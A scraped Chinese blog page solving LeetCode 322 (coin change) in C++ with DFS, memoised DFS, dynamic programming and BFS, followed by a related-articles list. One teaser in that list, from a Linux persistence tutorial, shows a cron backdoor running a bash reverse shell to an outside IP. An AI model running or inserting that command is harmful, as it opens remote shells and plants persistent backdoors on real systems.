leetcode:322. 零钱兑换(暴力dfs,记忆化dfs,动态规划(朴素+优化),bfs+贪心)

news2024/11/28 4:40:41

记录常规的完全背包问题模型

  • 1.暴力dfs
  • 2.优化dfs,记忆化dfs
  • 3.动态规划
  • 4.bfs

在这里插入图片描述

1.由于每件物品可以无限取,那么可以发现这是一个完全背包问题模型。

1.暴力dfs

最后要求的是:n种硬币,凑成总金额为amount。每种硬币无限取,最少需要多少枚硬币?
那么根据问题来写递归:

class Solution 
{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        int n=coins.size(); 
        //dfs(i)表示剩余价值为i使用硬币的最少数量
        function<int(int)>dfs=[&](int amount)->int  
        {
            if(amount<0)return -1;
            if(amount==0)return 0;
            int Min=0x3f3f3f3f;
            for(int i=0;i<n;i++)
            {
                int t=dfs(amount-coins[i]);
                if(t>=0&&Min>t)Min=t+1;
            }
            return Min;
        };
        int ans=dfs(amount);
        
        return ans==0x3f3f3f3f?-1:ans;
    }
};

2.优化dfs,记忆化dfs

因为递归存在大量重复,所以使用记忆化优化

class Solution 
{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        int n=coins.size();
        int memo[10010];
        memset(memo,0,sizeof memo);
        function<int(int)>dfs=[&](int amount)->int  //剩余价值为amount时最少需要的硬币数量
        { 
            if(amount<0)return -1;
            if(amount==0) return 0;
            if(memo[amount]!=0)return memo[amount];
            int Min=0x3f3f3f3f;
            for(int i=0;i<n;i++)
            {
                int t=dfs(amount-coins[i]);
                if(t>=0&&t<Min)Min=t+1;
            }
            memo[amount]=Min;
            return Min;
        };
        int ans=dfs(amount);
        return ans==0x3f3f3f3f?-1:ans;

    }
};

3.动态规划

动态规划是这道题最常规的做法。那么直接拿出模板

class Solution 

{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        
        int n=coins.size();
        int dp[13][10010];   //dp[i][j]表示前i种硬币,组成价值为amount的最少硬币数量
        memset(dp,0x3f,sizeof dp);
        for(int i=0;i<=n;i++)
            dp[i][0]=0;
        for(int i=1;i<=n;i++) //枚举物品
        {
            int v=coins[i-1];
            for(int j=0;j<=amount;j++)  //枚举体积
            {
                for(int k=0;k*v<=j;k++)  //枚举当前物品的数量
                {
                    dp[i][j]=min(dp[i][j],dp[i-1][j-k*v]+k);
                }
            }
        }
        return dp[n][amount]==0x3f3f3f3f?-1:dp[n][amount];
    }
};

优化很简单,看下面:
在这里插入图片描述

class Solution 

{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        
        int n=coins.size();
        int dp[13][10010];   //dp[i][j]表示前i种硬币,组成价值为amount的最少硬币数量
        memset(dp,0x3f,sizeof dp);
        for(int i=0;i<=n;i++)
            dp[i][0]=0;
        for(int i=1;i<=n;i++) //枚举物品
        {
            for(int j=0;j<=amount;j++)
            {
                dp[i][j]=dp[i-1][j];
                if(j-coins[i-1]>=0)
                    dp[i][j]=min(dp[i][j],dp[i][j-coins[i-1]]+1);
            }
        }
        return dp[n][amount]==0x3f3f3f3f?-1:dp[n][amount];
    }
};

实际上到这一步已经很完善了,但是空间上可以继续优化一下,二维优化为一维

class Solution 

{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        
        int n=coins.size();
        int dp[10010];   //dp[i][j]表示前i种硬币,组成价值为amount的最少硬币数量
        memset(dp,0x3f,sizeof dp);
        dp[0]=0;   //dp[i][0]
        for(int i=1;i<=n;i++) //枚举物品
        {
            for(int j=coins[i-1];j<=amount;j++)
            {
                //dp[i][j]=dp[i-1][j];
                dp[j]=min(dp[j],dp[j-coins[i-1]]+1);
            }
        }
        return dp[amount]==0x3f3f3f3f?-1:dp[amount];
    }
};

这里一维版本为什么第二个for循环不需要逆序呢?看公式:
d p [ i ] [ j ] = m i n ( d p [ i ] [ j ] , d p [ i ] [ j − c o i n s [ i − 1 ] ] + 1 ) ; dp[i][j]=min(dp[i][j],dp[i][j-coins[i-1]]+1); dp[i][j]=min(dp[i][j],dp[i][jcoins[i1]]+1);没有数据污染,更新的dp不会造成影响后续更新。

4.bfs

由于是求最少,那么可以抽象成最短路问题。先对硬币排序,然后一步步向四周扩散。3

class Solution 
{
public:
    int coinChange(vector<int>& coins, int amount) 
    {
        sort(coins.begin(), coins.end(), greater<int>());// 剪枝,首先减去大数再减去小数
        
        queue<int> q;
        q.push(amount);
        unordered_set<int> vis;
        vis.insert(amount);

        int ans = 0;
        while (!q.empty()) {
            int size = q.size();
            while (size --) {
                int top = q.front();
                q.pop();
                if (top == 0) return ans;// 当amount已经减到0就返回广搜的层数
                for (int i = 0; i < coins.size(); i ++) {
                    int num = top - coins[i];
                    if (!vis.count(num) && num >= 0) {
                        vis.insert(num);
                        q.push(num);
                    }
                }
            }
            ans ++;
        }
        return -1;
    }
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550968.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java8 教你一行代码搞定:如何计算map中value值

大家好&#xff0c;我是三叔&#xff0c;很高兴这期又和大家见面了&#xff0c;一个奋斗在互联网的打工人。 这期给大家讲一下在Java编程中&#xff0c;如何使用Java8对map的值进行计算&#xff0c;在实际开发中&#xff0c;也是经常遇到统计map中的value值之和。 Map是一种常…

Web安全:文件上传漏洞测试.

Web安全&#xff1a;文件上传漏洞测试. 现在大多的网站和Web应用系统都会有上传功能&#xff08;比如&#xff1a;文档&#xff0c;图片&#xff0c;头像&#xff0c;视频上传等.&#xff09;&#xff0c;而程序员在开发文件上传功能时&#xff0c;没有对代码做严格校验上传文…

解决大文件传输难题的方法和技巧

传统的传输大文件的方式&#xff0c;如电子邮件附件或USB驱动器&#xff0c;由于文件大小的限制和安全问题&#xff0c;变得越来越不方便。大文件共享是现代商业通信的一个重要方面&#xff0c;组织需要安全可靠的方式来传输这些文件。 传统文件传输方式的不便 传统的文件传输方…

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI 编写模块化代码几乎总是一个好主意&#xff0c;无论是为Windows、实时还是FPGA设备设计应用程序。子VI使代码更易于调试和故障排除&#xff0c;更易于记录和跟踪更改&#xff0c;并且通常更清晰&#xff0c;更易于…

一文读懂JVM架构解析

JVM 架构解析 Java 架构JVMJVM是如何工作的&#xff1f;类加载器子系统 运行时数据区执行引擎 每个 Java 开发人员都知道字节码经由 JRE&#xff08;Java运行时环境&#xff09;执行。但他们或许不知道 JRE 其实是由 Java虚拟机&#xff08;JVM&#xff09;实现&#xff0c;JVM…

css3 flex弹性布局学习

一、flex基本概念 当开启flex布局后&#xff0c;项目默认沿主轴排列。单个项目占据的主轴空间叫做main size&#xff0c;占据的交叉轴空间叫做cross size。 二、容器的属性 以下6个属性设置在容器上。 flex-direction flex-wrap flex-flow justify-content align-items align…

LabVIEWCompactRIO 开发指南26 同步循环

LabVIEWCompactRIO 开发指南26 同步循环 对于大多数控制和监视应用&#xff0c;代码执行的时间对于系统的性能和可靠性非常重要。在此电机控制示例中&#xff0c;有两个不同的时钟信号&#xff1a;采样时钟和PID时钟。这些是在应用程序中生成的布尔信号&#xff0c;用于在循环…

【HackTheBox MonitorsTwo】打靶记录

信息搜集 1、nmap 扫描一波 └─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 2…

[NodeJS] 优缺点及适用场景讨论

概述&#xff1a; NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”&#xff0c;那么它的出现是为了解决什么问题呢&#xff0c;它有什么优缺点以及它适用于什么场景呢&#xff1f; 本文就个人使用经验对这些问题进行探讨。 一. NodeJS的特点 我们先来看看N…

【数据结构】广度优先遍历(BFS)模板及其讲解

&#x1f38a;专栏【数据结构】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【勋章】 大一同学小吉&#xff0c;欢迎并且感谢大家指出我的问题&#x1f970; 目录 &#x1f381;定义 &#x1f381;遍历方法 &#x1f381;根…

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大&#xff0c;在一个操作系统存不住所有的数据&#xff0c;那么就分配到更多的操作系统管理的磁盘中&#xff0c;但是不方便管理和维护&#xff0c;迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七&#xff08;二元LCG&#xff09;题八&#xff08;三元LCG&#xff09; &#xff08;PS&#xff1a;网上有很多原理&#xff0c;这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则&#xff0c;被我们反复使用后、被多数人知晓认可的、然后经过分类编排&#xff0c;…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解&#xff08;求叶子结点数&#xff09;-软件设计&#xff08;七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践&#xff1a; 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍&#xff1a; &#x1f680;自媒体 JavaPub 独立维护人&#xff0c;全网粉丝25w&#xff0c;csdn博客专家、java领域优质创作者&#xff0c;前51ctoTOP10博主&#xff0c;知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好&#xff0c;这里是limou3434的一篇个人博文&#xff0c;感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的&#xff1f;为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…

CaDDN 论文学习

1. 解决了什么问题&#xff1f; 单目 3D 目标检测是自动驾驶的重要课题&#xff0c;与一般的多传感器系统相比&#xff0c;它具有简洁、成本低、易部署的优点。单目 3D 检测的主要挑战在于能否准确预测目标的深度。由于缺乏直接的测量手段&#xff0c;我们只能从目标和场景信息…

JavaWeb15 - 线程数据共享和安全 -ThreadLocal

1. 什么是 ThreadLocal ThreadLocal 的作用&#xff0c;可以实现在同一个线程数据共享, 从而解决多线程数据安全问题.ThreadLocal 可以给当前线程关联一个数据(普通变量、对象、数组)set 方法 [源码!]ThreadLocal 可以像 Map 一样存取数据&#xff0c;key 为当前线程, get 方法…